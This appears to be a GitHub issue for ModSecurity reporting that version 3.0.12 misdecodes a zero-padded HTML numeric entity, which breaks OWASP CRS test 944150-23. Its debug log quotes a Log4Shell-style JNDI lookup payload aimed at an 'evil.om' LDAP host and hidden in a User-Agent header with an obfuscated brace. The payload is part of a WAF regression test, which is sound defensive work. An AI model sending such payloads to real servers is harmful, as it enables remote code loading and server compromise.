Skip to content

HTML entity decoding fails to decode some exotic values #3340

Closed
@theseion

Description

@theseion

Describe the bug

The following string should be decoded into {: &#00000000000000000000000000000000000000000000000123; but is instead decoded into \x0000000000000000000000000000000000000000000000123;.

Logs and dumps

Output of debug log:

[173942934834.266950] [/get] [9] Target value: "localhost" (Variable: REQUEST_HEADERS:Host)
[173942934834.266950] [/get] [9]  T (0) t:urlDecodeUni: "$&#00000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w (1 characters omitted)"
[173942934834.266950] [/get] [9]  T (0) t:jsDecode: "$&#00000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w (1 characters omitted)"
[173942934834.266950] [/get] [9]  T (0) t:htmlEntityDecode: "$^@00000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}"
[173942934834.266950] [/get] [9] Target value: "$\x0000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}" (Variable: REQUEST_HEADERS:User-Agent)

Notice: Be careful to not leak any confidential information.

To Reproduce

Run CRS test 944150-23 with owasp/modsecurity:4.11.0-nginx-202502070602.

Expected behavior

The following string should be decoded into {: &#00000000000000000000000000000000000000000000000123;.

Server (please complete the following information):

  • ModSecurity version (and connector): ModSecurity v3.0.12 with nginx-connector v1.0.3
  • WebServer: nginx 1.27.3
  • OS (and distro): macOS

Rule Set (please complete the following information):

  • CRS v4.11.0

Additional context

The changes in v3.0.12 appear to have broken entity decoding. The test works with v3.0.11.

Metadata

Metadata

Assignees

Labels

3.xRelated to ModSecurity version 3.xbugIt is a confirmed bug

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions